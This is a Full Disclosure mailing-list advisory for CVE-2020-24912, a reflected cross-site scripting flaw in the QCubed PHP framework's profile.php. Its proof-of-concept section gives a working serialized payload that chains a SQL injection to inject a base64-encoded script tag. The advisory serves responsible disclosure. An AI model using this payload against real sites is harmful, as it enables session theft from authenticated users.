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Message-ID: <f13276a3e0d648b2bc4627f921f443e3@ait.ac.at> Date: Fri, 12 Mar 2021 10:49:03 +0000 From: sec-advisory <sec-advisory@....ac.at> To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org> Subject: [FD] [AIT-SA-20210215-03] CVE-2020-24912: QCube Cross-Site-Scripting QCube Cross-Site-Scripting ====================== | Identifier: | AIT-SA-20210215-03 | | Target: | QCubed Framework | | Vendor: | QCubed | | Version: | all versions including 3.1.1 | | CVE: | CVE-2020-24912 | | Accessibility: | Remote | | Severity: | High | | Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) | SUMMARY ======= QCubed is a PHP Model-View-Controller Rappid Application Development framework. (https://github.com/qcubed/qcubed) VULNERABILITY DESCRIPTION ========================= A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users. PROOF OF CONCEPT ================= The XSS occurs because the SQL-output in profile.php is not sanitized properly. Since we are able to tamper the output using a SQL-injection(CVE-2020-24913), we can easily output a common XSS string. We use the following payload(unencoded): ``` a:1:{i:0;a:3:{s:12:"objBacktrace";a:1:{s:4:"args";a:1:{i:0;s:3:"PWN";}}s:8:"strQuery";s:112:"select version(); select convert_from(decode($$PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K$$,$$base64$$),$$utf-8$$)";s:11:"dblTimeInfo";s:1:"1";}} ``` PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K is unencoded: ``` "<script>alert(‘xss’)</script>" ``` VULNERABLE VERSIONS =================== All versions including 3.1.1 are affected. TESTED VERSIONS =============== QCubed 3.1.1 IMPACT ====== An unauthenticated attacker could steal sessions of authenticated users. MITIGATION ========== A patch was delivered by QCubed that allows to disable the profile-functionality( https://github.com/qcubed/qcubed/pull/1320/files ). VENDOR CONTACT TIMELINE ======================= | 2020-04-19 | Contacting the vendor | | 2020-04-19 | Vendor replied | | 2020-05-01 | Vendor released a patch at Github | | 2021-02-15 | Public disclosure | ADVISORY URL ============ [https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed](https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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